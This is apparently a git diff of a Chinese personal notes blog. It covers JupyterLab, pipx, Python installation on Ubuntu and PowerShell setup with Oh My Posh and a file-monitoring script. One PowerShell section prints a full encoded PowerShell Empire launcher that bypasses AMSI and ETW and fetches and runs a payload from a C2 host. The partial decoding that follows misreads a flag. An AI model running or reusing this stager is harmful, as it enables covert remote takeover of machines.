      • 勾选"Add source roots to PYTHONPAT"
    • 当前程序根目录右键->“Mark Directory as”->“Sources Root”

PEP8 代码规范检查


JupyterLab

接触 VSCode 的 Jupyter 插件后感觉还是 VSCode + Jupyter 比较好用, 一方面 VSCode 可以安装许多插件作为编码的辅助工具, 另一方面, 单个 .ipynb 文件也比较方便编辑


简介

  • JupyterLab,极其强大的下一代notebook!open in new window[原文链接]
  • JupyterLab是Jupyter主打的最新数据科学生产工具,某种意义上,它的出现是为了取代Jupyter Notebook。不过不用担心Jupyter Notebook会消失,JupyterLab包含了Jupyter Notebook所有功能。
  • JupyterLab作为一种基于web的集成开发环境,你可以使用它编写notebook、操作终端、编辑markdown文本、打开交互模式、查看csv文件及图片等功能。
  • 可以把JupyterLab当作一种究极进化版的Jupyter Notebook。原来的单兵作战,现在是空陆空联合协作。
  • Jupyter有如下特点
    • 交互模式:Python交互式模式可以直接输入代码,然后执行,并立刻得到结果,因此Python交互模式主要是为了调试Python代码用的
    • 内核支持的文档:使你可以在可以在Jupyter内核中运行的任何文本文件(Markdown,Python,R等)中启用代码
    • 模块化界面:可以在同一个窗口同时打开好几个notebook或文件(HTML, TXT, Markdown等等),都以标签的形式展示,更像是一个IDE
    • 镜像notebook输出:让你可以轻易地创建仪表板
    • 同一文档多视图:使你能够实时同步编辑文档并查看结果
    • 支持多种数据格式:你可以查看并处理多种数据格式,也能进行丰富的可视化输出或者Markdown形式输出
    • 云服务:使用Jupyter Lab连接Google Drive等服务,极大得提升生产力

使用

  • Anaconda自带,直接在HomeLaunch即可
    image-20221107224451336

  • 启动完之后会发现默认启动路径是电脑用户根目录,可以将其改到一个自己觉得合适的目录,操作如下

      pip install -i https://mirrors.aliyun.com/pypi/simple/ zmq
    +
    • 生成配置文件

      Jupyter notebook --generate-config
      +
      • 若成功则会显示Writing default config to: 文件路径

        • 打开该文件路径指向的文件,利用Ctrl+f找到c.NotebookApp.notebook,将其#注释删除,在''中填入自己认为合适的启动路径

        我这里是C:\Users\233\.jupyter\jupyter_notebook_config.py

        • 记得保存文件
    • 再次在HomeLaunch启动JupyterLab确认配置情况 20210401094701


插件

  • 环境准备

    • 打开cmd prompt或者Powershell prompt
      image-20221107224622026

      • 安装npm

        pip install -i https://pypi.tuna.tsinghua.edu.cn/simple npm
        +
      • 安装nodejs

        conda install -c conda-forge nodejs
        +
    • 不要yarnnpm换淘宝的源
      • 淘宝源里没有JupyterLab相关的插件,下载插件时会404
  • 安装插件

    • JupyterLab可视化界面中安装
      image-20221107224757341

    会有安装提示installrebuild

    • 安装好并且rebuild之后若左侧栏目未正常显示该插件则先关闭JupyterLab再重新启动看看有没有正常加载,若仍未正常显示则可以看看下面这条
  • 反复安装与卸载插件可能会导致插件无法正常加载的错误

    • 错误发现:

      • Anaconda中运行cmd prompt或者Powershell prompt

        jupyter labextension list
        +

        并回车,会给出Known labextensionsUninstalled core extensions

        • 若一个插件同时在两项中出现则其无法正常加载
    • 错误解决方法

      • 找到JupyterLab插件build的配置文件
        • 位置在
          • <conda_root>/envs/<env_name>/share/jupyter/lab/settings/build_config.json
        • JupyterLab的环境conda的默认的root环境,则位置在
          • <conda_root>/share/jupyter/lab/settings/build_config.json

插件推荐


@kiteco/jupyterlab-kite
  • Python代码提示

  • Anaconda中安装Spyder的时候一般会引导下载Kite

    • image-20221107224953401
  • 使用效果

    • image-20221107224914859
  • 安装

    • Prompt安装

      • 打开AnacondaPrompt

        pip install -i https://pypi.tuna.tsinghua.edu.cn/simple jupyter-kite
        +jupyter labextension install @kiteco/jupyterlab-kite
        +
      • 重启JupyterLab即可


快捷键


命令模式 (按键 Esc 开启)

Enter 转入编辑模式

Shift-Enter 运行本单元,选中下个单元

Ctrl-Enter 运行本单元

Alt-Enter 运行本单元,在其下插入新单元

Y 单元转入代码状态

M 单元转入markdown状态

R 单元转入raw状态

1 设定 1 级标题

2 设定 2 级标题

3 设定 3 级标题

4 设定 4 级标题

5 设定 5 级标题

6 设定 6 级标题

Up 选中上方单元

K 选中上方单元

Down 选中下方单元

J 选中下方单元

Shift-K 扩大选中上方单元

Shift-J 扩大选中下方单元

A 在上方插入新单元

B 在下方插入新单元

X 剪切选中的单元

C 复制选中的单元

Shift-V 粘贴到上方单元

V 粘贴到下方单元

Z 恢复删除的最后一个单元

D,D 删除选中的单元

Shift-M 合并选中的单元

Ctrl-S 文件存盘

S 文件存盘

L 转换行号

O 转换输出

Shift-O 转换输出滚动

Esc 关闭页面

Q 关闭页面

H 显示快捷键帮助

I,I 中断Notebook内核

0,0 重启Notebook内核

Shift 忽略

Shift-Space 向上滚动

Space 向下滚动


编辑模式 ( Enter 键启动)

Tab 代码补全或缩进

Shift-Tab 提示

Ctrl-] 缩进

Ctrl-[ 解除缩进

Ctrl-A 全选

Ctrl-Z 复原

Ctrl-Shift-Z 再做

Ctrl-Y 再做

Ctrl-Home 跳到单元开头

Ctrl-Up 跳到单元开头

Ctrl-End 跳到单元末尾

Ctrl-Down 跳到单元末尾

Ctrl-Left 跳到左边一个字首

Ctrl-Right 跳到右边一个字首

Ctrl-Backspace 删除前面一个字

Ctrl-Delete 删除后面一个字

Esc 进入命令模式

Ctrl-M 进入命令模式

Shift-Enter 运行本单元,选中下一单元

Ctrl-Enter 运行本单元

Alt-Enter 运行本单元,在下面插入一单元

Ctrl-Shift– 分割单元

Ctrl-Shift-Subtract 分割单元

Ctrl-S 文件存盘

Shift 忽略

Up 光标上移或转入上一单元

Down光标下移或转入下一单元


更多JupyterLab快捷键参考open in new window


pipx

pipx (pypa.github.io)open in new window

pypa/pipx: Install and Run Python Applications in Isolated Environments (github.com)open in new window


安装

pip install pipx --user pipx
+

image-20220526203216819

提示需要将路径添加到 PATH, 这个可以让 pipx 来完成

首先 cd 到安装 pipx 的目录, 然后执行 ./pipx ensurepath:

image-20220526203255502


然后重启终端输入 pipx 看看有没有反馈信息

如果有回显信息:

image-20220526205728337

那么说明成功了

如果没有的话则需要手动将 C:\Users\233\AppData\Roaming\Python\Python38\Scripts(以我上面安装pipx的路径为例) 添加到环境变量的 PATH 变量中


概述

Pipx 是一个帮助您安装和运行用 Python 编写的最终用户应用程序的工具。它大致类似于 macOS 的 brew,JavaScript 的 npx,和 Linux 的 apt。

它与 pip 密切相关。实际上,它使用 pip,但是它专注于安装和管理可以从命令行直接作为应用程序运行的 Python 包。


pipx 与 pip 的区别

Pip 是一个通用的包安装程序,用于没有环境隔离的库和应用程序。

Pipx 是专门为应用程序安装而设计的,因为它增加了隔离性,但仍然使应用程序可以在外壳中使用: pipx 为每个应用程序及其相关包创建一个隔离的环境。


pipx 从什么地方安装 app

默认情况下,pipx 使用与 pip 相同的包索引 PyPI。Pipx 还可以从所有其他来源安装 pip can,比如本地目录、 wheel、 git url 等。

Python 和 PyPI 允许开发人员使用“控制台脚本入口点”分发代码。这些入口点允许用户从命令行调用 Python 代码,有效地起到独立应用程序的作用。

Pipx 是一个工具,用于以安全、方便和可靠的方式安装和运行这些数千个包含应用程序的软件包。在某种程度上,它把 pythonpackageindex (PyPI)变成了 Python 应用程序的大型应用程序商店。并不是所有的 Python 包都有入口点,但是很多都有。


ubuntu 16.04 安装 Python 3.8.12

成功了但没完全成功, 不打算再在 ubuntu 16.04 LTS 上整花活了.

PS: 2022-8-5: 成功了, 详见 [Ubuntu 16.04 LTS 配置Jupyter服务](#Ubuntu 16.04 LTS 配置Jupyter服务)

Ubuntu 16.04 安装 python3.8 - 老虎死了还有狼 - 博客园 (cnblogs.com)open in new window

PS: VSCode 用 Python Environment Manager 扩展获取最新 Python 环境也是可以的(推荐使用此项, 一键安装免配置, 懒人解法)

20220803 ubuntu16.04LTS Python Environment Managerv1.0.4 拉取最新 Python 装了个 3.9.13 的 conda 环境

ubuntu 16.04 默认自带 Python2.7 和 Python3.5, 可以通过whereis python 查看

这里选择 3.8.12 属于是保守了, 一方面考虑到 1604 有点老, 另一方面有些三方库也并没有跟上时代


配置依赖环境

apt-get install zlib1g-dev libbz2-dev libssl-dev libncurses5-dev libsqlite3-dev
+

下载 Python3.8.12 压缩包并解压

wget https://www.python.org/ftp/python/3.8.12/Python-3.8.12.tar.xz
+# 解压
+tar -xf Python-3.8.12.tar.xz
+# 进入解压目录
+cd Python-3.8.12
+# 执行安装(这两步时间会比较长)
+./configure prefix=/usr/local/python3
+make && make install
+

image-20220803153339331

# 备份原来的 Python 软链接
+mv /usr/bin/python /usr/bin/python.bak
+# 修改 python3 软链接
+ln -s /usr/local/python3/bin/python3 /usr/bin/python
+# 验证安装
+python -V
+

image-20220803153520745

# 更新 pip
+python -m pip install --upgrade pip
+# 验证更新
+pip -V
+

image-20220803154129388


Ubuntu 16.04 LTS 配置Jupyter服务

实验环境: windows 10 使用 root 用户 远程 ubuntu 16.04 LTS 虚拟机

直接使用 VSCode 的 Python Environment Manager扩展获取最新 conda 环境

image-20220810104753103

激活当前 conda 环境 conda activate xxx

安装 jupyter 套件

pip install jupyter
+pip install jupyterlab
+pip install notebook
+

打开 VScode 的 settings.json,加上

  "jupyter.jupyterCommandLineArguments": [
+    "--allow-root"
+  ],
+

报错收集

ERROR: Could not install packages due to an Environment

Python Failed to write executable - trying to use .deleteme logic 解决方法 | 烟雨平生 (i007it.com)open in new window


如果在 VSCode 中的终端中运行安装库的命令出现类似于如下报错

ERROR: Could not install packages due to an Environment: [WinError 2] 系统找不到指定的文件 : xxxxxxxxx -> xxxxx\\pythonxx\\Scripts\\xxx.exe.deleteme
+

那么就是权限问题, 请使用管理员方式打开 VSCode

+ + + diff --git a/Language/Shell/Powershell/index.html b/Language/Shell/Powershell/index.html new file mode 100644 index 0000000000..bd30e76785 --- /dev/null +++ b/Language/Shell/Powershell/index.html @@ -0,0 +1,233 @@ + + + + + + + + Powershell | DailyNotes + + + + + + +
跳至主要內容

Powershell

大约 17 分钟

Powershell


版本信息

$PSVersionTable
+$PSVersionTable.PSVersion
+

image-20230918174306661

image-20230918174411070


Powershell 7

Releases · PowerShell/PowerShell (github.com)open in new window

在 Windows 上安装 PowerShell - PowerShell | Microsoft Docsopen in new window

从 Windows PowerShell 5.1 迁移到 PowerShell 7 - PowerShell | Microsoft Docsopen in new window

# 查看 powershell 版本
+$psversiontable
+

PowerShell 7 是专为云、本地和混合环境设计的,它包含增强功能和新功能open in new window

  • 与 Windows PowerShell 并行安装和运行
  • 提升了与现有 Windows PowerShell 模块的兼容性
  • 新语言功能(如三元运算符和 ForEach-Object -Parallel
  • 提高了性能
  • 基于 SSH 的远程处理
  • 跨平台互操作性
  • 支持 Docker 容器

PowerShell 7 与 Windows PowerShell 并行运行,可便于你在部署前轻松地测试和比较各个版本。 迁移简单、快捷、安全,

以下 Windows 操作系统支持 PowerShell 7:

  • Windows 8.1、10 和 11
  • Windows Server 2012、2012 R2、2016 和 2019

PowerShell 7 还在 macOS 和多个 Linux 发行版本上运行。 若要获取受支持操作系统的列表,并了解支持生命周期,请参阅 PowerShell 支持生命周期open in new window


PowerShell 7 默认安装路径为 C:\Program Files\PowerShell\


代理

# 为当前 powershell 会话设置 http 与 https 代理
+$env:HTTP_PROXY="http://127.0.0.1:7890"
+$env:HTTPS_PROXY="http://127.0.0.1:7890"
+

主题


Oh My Posh

Home | Oh My Poshopen in new window

A prompt theme engine for any shell.

image-20230414001558700

Quick Start For Windows
  • 首先 在 Windows 上安装 PowerShell7 - PowerShell | Microsoft Learnopen in new window, 默认的 Powershell5 不支持主题中的一些语法

  • 使用 winget 安装 OhMyPosh:

    由于要到 github 获取资源, 因此挂代理会快些, 以本地 7890 端口有代理为例, 可以在 powershell 中临时设置代理配置:

    $env:HTTP_PROXY="http://127.0.0.1:7890"
    +$env:HTTPS_PROXY="http://127.0.0.1:7890"
    +

    然后使用 winget 安装 OhMyPosh

    winget install JanDeDobbeleer.OhMyPosh -s winget
    +
  • 安装一个支持的字体, 如 MesloLGSNFopen in new window

    官方文档中使用 oh-my-posh font install 选择字体进行安装, 不过我安装后进行配置时总是找不到字体, 最终使用 MESLOLGS NF 成功进行了配置

    然后在 Powershell 中使用快捷键 Ctrl+Shift+, 调起配置文件, 在 profiles 中的 defaults 属性下添加 font.face 属性

    image-20230414002805811

                "font":
    +            {
    +                "face": "MesloLGS NF"
    +            }
    +

    添加并保存后会自动弹回到打开的 Powershell 窗口, 不报错就说明成功用上了字体


    对于 VSCode 而言, VSCode 调起的终端中的字体配置还需要在 VSCode 的配置项中配下

    image-20230414003342061

  • 接下来编辑 powershell 配置文件配置默认使用 OhMyPosh

    code $PROFILE
    +

    在配置中加上如下语句

    oh-my-posh init pwsh | Invoke-Expression
    +

    image-20230414003110073

    这样即可成功让 powershell 使用上 OhMyPosh

  • 配置主题

    可以在 Themes | Oh My Poshopen in new window 查看 OhMyPosh 中支持的主题

    或者使用如下命令直接在 Powershell 中预览主题

    Get-PoshThemes
    +

    image-20230414003535662

    记得及时 Ctrl + C, 不然会拖很长, 毕竟主题挺多的

    在 Powershell 中预览主题时, 主题的名字是超链接, 可以通过 Ctrl + 鼠标点击的形式编辑该主题配置文件

    image-20230414003739707

    image-20230414003752894

    然后编辑 Powershell 配置文件, 配置 OhMyPosh 的主题

    code $PROFILE
    +

    添加如下命令

    oh-my-posh init pwsh --config '主题json路径' | Invoke-Expression
    +

    image-20230414004039339

    然后重启 Powershell/VSCode 窗口即可看到 Powershell 加载了 OhMyPosh 及设定的主题

    image-20230414004140231

    image-20230414004152193

    需要注意的是如果是默认的 powershell5 的话, 加载主题可能会报错, 且每次打开 powershell 窗口均会报错, 因此建议直接升级到 powershell7

    image-20230414004218421

    可以通过如下命令查看 powershell 版本

    $psversiontable
    +

    image-20230414004313579

    image-20230414004329598

目标目录文件变动监控备份

# 监控的目录
+$targetDir = "E:\temp\testDir"
+# log文件路径为当前目录下的log.txt
+$logFile = ".\log.txt"
+# 在当前目录下新建一个 monitor_cache 目录用于存放监控的文件
+$cacheDir = ".\monitor_cache"
+if (!(Test-Path $cacheDir)) {
+    New-Item -ItemType Directory -Force -Path $cacheDir
+}
+Write-Host $cacheDir "created for cache files"
+
+# 创建监控对象
+$watcher = New-Object System.IO.FileSystemWatcher
+$watcher.Path = $targetDir
+$watcher.IncludeSubdirectories = $true
+$watcher.EnableRaisingEvents = $true
+
+# 定义一个通用的事件处理函数,根据不同的事件类型执行不同的操作
+$commonAction = {
+    # 获取事件参数
+    $path = $Event.SourceEventArgs.FullPath
+    $changeType = $Event.SourceEventArgs.ChangeType
+    # 记录下时间以及变动的文件信息
+    $date = Get-Date -Format "yyyy-MM-dd HH:mm:ss"
+    # 日志信息
+    $log = "$date File $path was $changeType"
+    # 输出到控制台
+    Write-Host $log
+    # 将变动的文件信息写入log文件
+    Add-Content $logFile $log
+
+    # 如果变动的是个文件而非目录,且不是删除事件,则将其复制到 monitor_cache 目录下,并前缀当前时间以及事件类型
+    if (!(Test-Path $path -PathType Container) -and ($changeType -ne "Deleted")) {
+        # 生成新的文件路径,替换掉冒号、空格和反斜杠等特殊字符,避免路径错误或冲突
+        $newPath = $cacheDir + "\" + ($date + "_" + $changeType + "_" + $path.Replace($targetDir, "")).Replace(":", "-").Replace(" ", "_").Replace("\", "_")
+        Copy-Item $path $newPath
+    }
+}
+
+# 注册事件,使用同一个事件处理函数,并传递不同的事件类型参数
+$eventTypes = @("Created", "Changed", "Deleted", "Renamed")
+foreach ($eventType in $eventTypes) {
+    Register-ObjectEvent $watcher $eventType -Action $commonAction
+}
+
+# 等待事件发生
+try {
+    while ($true) {
+        Start-Sleep 1
+    }
+}
+finally {
+    # 清理事件注册
+    $watcher.Dispose()
+}
+
+

image-20230723233243063


powershell empire 上线命令

powershell -noP -sta -w 1 -enc  SQBmACgAJABQAFMAVgBlAHIAcwBpAG8AbgBUAGEAYgBsAGUALgBQAFMAVgBlAHIAcwBpAG8AbgAuAE0AYQBqAG8AcgAgAC0AZwBlACAAMwApAHsAJABSAGUAZgA9AFsAUgBlAGYAXQAuAEEAcwBzAGUAbQBiAGwAeQAuAEcAZQB0AFQAeQBwAGUAKAAnAFMAeQBzAHQAZQBtAC4ATQBhAG4AYQBnAGUAbQBlAG4AdAAuAEEAdQB0AG8AbQBhAHQAaQBvAG4ALgBBAG0AcwBpAFUAdABpAGwAcwAnACkAOwAkAFIAZQBmAC4ARwBlAHQARgBpAGUAbABkACgAJwBhAG0AcwBpAEkAbgBpAHQARgBhAGkAbABlAGQAJwAsACcATgBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwAnACkALgBTAGUAdAB2AGEAbAB1AGUAKAAkAE4AdQBsAGwALAAkAHQAcgB1AGUAKQA7AFsAUwB5AHMAdABlAG0ALgBEAGkAYQBnAG4AbwBzAHQAaQBjAHMALgBFAHYAZQBuAHQAaQBuAGcALgBFAHYAZQBuAHQAUAByAG8AdgBpAGQAZQByAF0ALgBHAGUAdABGAGkAZQBsAGQAKAAnAG0AXwBlAG4AYQBiAGwAZQBkACcALAAnAE4AbwBuAFAAdQBiAGwAaQBjACwASQBuAHMAdABhAG4AYwBlACcAKQAuAFMAZQB0AFYAYQBsAHUAZQAoAFsAUgBlAGYAXQAuAEEAcwBzAGUAbQBiAGwAeQAuAEcAZQB0AFQAeQBwAGUAKAAnAFMAeQBzAHQAZQBtAC4ATQBhAG4AYQBnAGUAbQBlAG4AdAAuAEEAdQB0AG8AbQBhAHQAaQBvAG4ALgBUAHIAYQBjAGkAbgBnAC4AUABTAEUAdAB3AEwAbwBnAFAAcgBvAHYAaQBkAGUAcgAnACkALgBHAGUAdABGAGkAZQBsAGQAKAAnAGUAdAB3AFAAcgBvAHYAaQBkAGUAcgAnACwAJwBOAG8AbgBQAHUAYgBsAGkAYwAsAFMAdABhAHQAaQBjACcAKQAuAEcAZQB0AFYAYQBsAHUAZQAoACQAbgB1AGwAbAApACwAMAApADsAfQA7AFsAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoARQB4AHAAZQBjAHQAMQAwADAAQwBvAG4AdABpAG4AdQBlAD0AMAA7ACQAdwBjAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAA7ACQAdQA9ACcATQBvAHoAaQBsAGwAYQAvADUALgAwACAAKABXAGkAbgBkAG8AdwBzACAATgBUACAANgAuADEAOwAgAFcATwBXADYANAA7ACAAVAByAGkAZABlAG4AdAAvADcALgAwADsAIAByAHYAOgAxADEALgAwACkAIABsAGkAawBlACAARwBlAGMAawBvACcAOwAkAHMAZQByAD0AJAAoAFsAVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAG4AaQBjAG8AZABlAC4ARwBlAHQAUwB0AHIAaQBuAGcAKABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACcAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQQB4AEEARABBAEEATQBBAEEAdQBBAEQARQBBAEwAZwBBAHgAQQBDADQAQQBNAFEAQQB6AEEARABZAEEATwBnAEEANQBBAEQAQQBBAE8AUQBBAHcAQQBBAD0APQAnACkAKQApADsAJAB0AD0AJwAvAGwAbwBnAGkAbgAvAHAAcgBvAGMAZQBzAHMALgBwAGgAcAAnADsAJAB3AGMALgBIAGUAYQBkAGUAcgBzAC4AQQBkAGQAKAAnAFUAcwBlAHIALQBBAGcAZQBuAHQAJwAsACQAdQApADsAJAB3AGMALgBQAHIAbwB4AHkAPQBbAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBSAGUAcQB1AGUAcwB0AF0AOgA6AEQAZQBmAGEAdQBsAHQAVwBlAGIAUAByAG8AeAB5ADsAJAB3AGMALgBQAHIAbwB4AHkALgBDAHIAZQBkAGUAbgB0AGkAYQBsAHMAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAE4AZQB0AC4AQwByAGUAZABlAG4AdABpAGEAbABDAGEAYwBoAGUAXQA6ADoARABlAGYAYQB1AGwAdABOAGUAdAB3AG8AcgBrAEMAcgBlAGQAZQBuAHQAaQBhAGwAcwA7ACQAUwBjAHIAaQBwAHQAOgBQAHIAbwB4AHkAIAA9ACAAJAB3AGMALgBQAHIAbwB4AHkAOwAkAEsAPQBbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBBAFMAQwBJAEkALgBHAGUAdABCAHkAdABlAHMAKAAnAEgAdQB2ACwAMwBnAHQAcwBjAH0AIwBfAEUAOgBmAEYAWAB3AG4AMgBiAFUAUABWAHwAaQBNAGUAMAArADUAUgAnACkAOwAkAFIAPQB7ACQARAAsACQASwA9ACQAQQByAGcAcwA7ACQAUwA9ADAALgAuADIANQA1ADsAMAAuAC4AMgA1ADUAfAAlAHsAJABKAD0AKAAkAEoAKwAkAFMAWwAkAF8AXQArACQASwBbACQAXwAlACQASwAuAEMAbwB1AG4AdABdACkAJQAyADUANgA7ACQAUwBbACQAXwBdACwAJABTAFsAJABKAF0APQAkAFMAWwAkAEoAXQAsACQAUwBbACQAXwBdAH0AOwAkAEQAfAAlAHsAJABJAD0AKAAkAEkAKwAxACkAJQAyADUANgA7ACQASAA9ACgAJABIACsAJABTAFsAJABJAF0AKQAlADIANQA2ADsAJABTAFsAJABJAF0ALAAkAFMAWwAkAEgAXQA9ACQAUwBbACQASABdACwAJABTAFsAJABJAF0AOwAkAF8ALQBiAHgAbwByACQAUwBbACgAJABTAFsAJABJAF0AKwAkAFMAWwAkAEgAXQApACUAMgA1ADYAXQB9AH0AOwAkAHcAYwAuAEgAZQBhAGQAZQByAHMALgBBAGQAZAAoACIAQwBvAG8AawBpAGUAIgAsACIAYwBIAEcAQQBmAGQATABaAEQAQwBFAHQATABNAEsAPQBsAEwAcQA4AFUAdwBpAEUAdQB6AHYASQBRAEQANABqADcAcAA2AEkASgBzAGgAaQBpADEARQA9ACIAKQA7ACQAZABhAHQAYQA9ACQAdwBjAC4ARABvAHcAbgBsAG8AYQBkAEQAYQB0AGEAKAAkAHMAZQByACsAJAB0ACkAOwAkAGkAdgA9ACQAZABhAHQAYQBbADAALgAuADMAXQA7ACQAZABhAHQAYQA9ACQAZABhAHQAYQBbADQALgAuACQAZABhAHQAYQAuAGwAZQBuAGcAdABoAF0AOwAtAGoAbwBpAG4AWwBDAGgAYQByAFsAXQBdACgAJgAgACQAUgAgACQAZABhAHQAYQAgACgAJABJAFYAKwAkAEsAKQApAHwASQBFAFgA
+
  • powershell:表示调用 PowerShell 程序。
  • -noP:表示不加载配置文件。包括启动时加载的个人配置文件(Profile)和系统级别的配置文件。使用此参数可以在启动 PowerShell 时跳过配置文件的加载,加快启动速度。
  • -staSingle Threaded Apartment表示使用单线程的会话模式。
  • -w 1:等待指定的时间(以秒为单位)后自动退出 PowerShell。在这里,-w 1 表示等待 1 秒后自动退出 PowerShell。
  • -enc:表示后面跟着的是一个 Base64 编码的字符串,需要解码后执行。

上述 Base64 编码的字符串解码后得到:

"I\u0000f\u0000(\u0000$\u0000P\u0000S\u0000V\u0000e\u0000r\u0000s\u0000i\u0000o\u0000n\u0000T\u0000a\u0000b\u0000l\u0000e\u0000.\u0000P\u0000S\u0000V\u0000e\u0000r\u0000s\u0000i\u0000o\u0000n\u0000.\u0000M\u0000a\u0000j\u0000o\u0000r\u0000 \u0000-\u0000g\u0000e\u0000 \u00003\u0000)\u0000{\u0000$\u0000R\u0000e\u0000f\u0000=\u0000[\u0000R\u0000e\u0000f\u0000]\u0000.\u0000A\u0000s\u0000s\u0000e\u0000m\u0000b\u0000l\u0000y\u0000.\u0000G\u0000e\u0000t\u0000T\u0000y\u0000p\u0000e\u0000(\u0000'\u0000S\u0000y\u0000s\u0000t\u0000e\u0000m\u0000.\u0000M\u0000a\u0000n\u0000a\u0000g\u0000e\u0000m\u0000e\u0000n\u0000t\u0000.\u0000A\u0000u\u0000t\u0000o\u0000m\u0000a\u0000t\u0000i\u0000o\u0000n\u0000.\u0000A\u0000m\u0000s\u0000i\u0000U\u0000t\u0000i\u0000l\u0000s\u0000'\u0000)\u0000;\u0000$\u0000R\u0000e\u0000f\u0000.\u0000G\u0000e\u0000t\u0000F\u0000i\u0000e\u0000l\u0000d\u0000(\u0000'\u0000a\u0000m\u0000s\u0000i\u0000I\u0000n\u0000i\u0000t\u0000F\u0000a\u0000i\u0000l\u0000e\u0000d\u0000'\u0000,\u0000'\u0000N\u0000o\u0000n\u0000P\u0000u\u0000b\u0000l\u0000i\u0000c\u0000,\u0000S\u0000t\u0000a\u0000t\u0000i\u0000c\u0000'\u0000)\u0000.\u0000S\u0000e\u0000t\u0000v\u0000a\u0000l\u0000u\u0000e\u0000(\u0000$\u0000N\u0000u\u0000l\u0000l\u0000,\u0000$\u0000t\u0000r\u0000u\u0000e\u0000)\u0000;\u0000[\u0000S\u0000y\u0000s\u0000t\u0000e\u0000m\u0000.\u0000D\u0000i\u0000a\u0000g\u0000n\u0000o\u0000s\u0000t\u0000i\u0000c\u0000s\u0000.\u0000E\u0000v\u0000e\u0000n\u0000t\u0000i\u0000n\u0000g\u0000.\u0000E\u0000v\u0000e\u0000n\u0000t\u0000P\u0000r\u0000o\u0000v\u0000i\u0000d\u0000e\u0000r\u0000]\u0000.\u0000G\u0000e\u0000t\u0000F\u0000i\u0000e\u0000l\u0000d\u0000(\u0000'\u0000m\u0000_\u0000e\u0000n\u0000a\u0000b\u0000l\u0000e\u0000d\u0000'\u0000,\u0000'\u0000N\u0000o\u0000n\u0000P\u0000u\u0000b\u0000l\u0000i\u0000c\u0000,\u0000I\u0000n\u0000s\u0000t\u0000a\u0000n\u0000c\u0000e\u0000'\u0000)\u0000.\u0000S\u0000e\u0000t\u0000V\u0000a\u0000l\u0000u\u0000e\u0000(\u0000[\u0000R\u0000e\u0000f\u0000]\u0000.\u0000A\u0000s\u0000s\u0000e\u0000m\u0000b\u0000l\u0000y\u0000.\u0000G\u0000e\u0000t\u0000T\u0000y\u0000p\u0000e\u0000(\u0000'\u0000S\u0000y\u0000s\u0000t\u0000e\u0000m\u0000.\u0000M\u0000a\u0000n\u0000a\u0000g\u0000e\u0000m\u0000e\u0000n\u0000t\u0000.\u0000A\u0000u\u0000t\u0000o\u0000m\u0000a\u0000t\u0000i\u0000o\u0000n\u0000.\u0000T\u0000r\u0000a\u0000c\u0000i\u0000n\u0000g\u0000.\u0000P\u0000S\u0000E\u0000t\u0000w\u0000L\u0000o\u0000g\u0000P\u0000r\u0000o\u0000v\u0000i\u0000d\u0000e\u0000r\u0000'\u0000)\u0000.\u0000G\u0000e\u0000t\u0000F\u0000i\u0000e\u0000l\u0000d\u0000(\u0000'\u0000e\u0000t\u0000w\u0000P\u0000r\u0000o\u0000v\u0000i\u0000d\u0000e\u0000r\u0000'\u0000,\u0000'\u0000N\u0000o\u0000n\u0000P\u0000u\u0000b\u0000l\u0000i\u0000c\u0000,\u0000S\u0000t\u0000a\u0000t\u0000i\u0000c\u0000'\u0000)\u0000.\u0000G\u0000e\u0000t\u0000V\u0000a\u0000l\u0000u\u0000e\u0000(\u0000$\u0000n\u0000u\u0000l\u0000l\u0000)\u0000,\u00000\u0000)\u0000;\u0000}\u0000;\u0000[\u0000S\u0000y\u0000s\u0000t\u0000e\u0000m\u0000.\u0000N\u0000e\u0000t\u0000.\u0000S\u0000e\u0000r\u0000v\u0000i\u0000c\u0000e\u0000P\u0000o\u0000i\u0000n\u0000t\u0000M\u0000a\u0000n\u0000a\u0000g\u0000e\u0000r\u0000]\u0000:\u0000:\u0000E\u0000x\u0000p\u0000e\u0000c\u0000t\u00001\u00000\u00000\u0000C\u0000o\u0000n\u0000t\u0000i\u0000n\u0000u\u0000e\u0000=\u00000\u0000;\u0000$\u0000w\u0000c\u0000=\u0000N\u0000e\u0000w\u0000-\u0000O\u0000b\u0000j\u0000e\u0000c\u0000t\u0000 \u0000S\u0000y\u0000s\u0000t\u0000e\u0000m\u0000.\u0000N\u0000e\u0000t\u0000.\u0000W\u0000e\u0000b\u0000C\u0000l\u0000i\u0000e\u0000n\u0000t\u0000;\u0000$\u0000u\u0000=\u0000'\u0000M\u0000o\u0000z\u0000i\u0000l\u0000l\u0000a\u0000/\u00005\u0000.\u00000\u0000 \u0000(\u0000W\u0000i\u0000n\u0000d\u0000o\u0000w\u0000s\u0000 \u0000N\u0000T\u0000 \u00006\u0000.\u00001\u0000;\u0000 \u0000W\u0000O\u0000W\u00006\u00004\u0000;\u0000 \u0000T\u0000r\u0000i\u0000d\u0000e\u0000n\u0000t\u0000/\u00007\u0000.\u00000\u0000;\u0000 \u0000r\u0000v\u0000:\u00001\u00001\u0000.\u00000\u0000)\u0000 \u0000l\u0000i\u0000k\u0000e\u0000 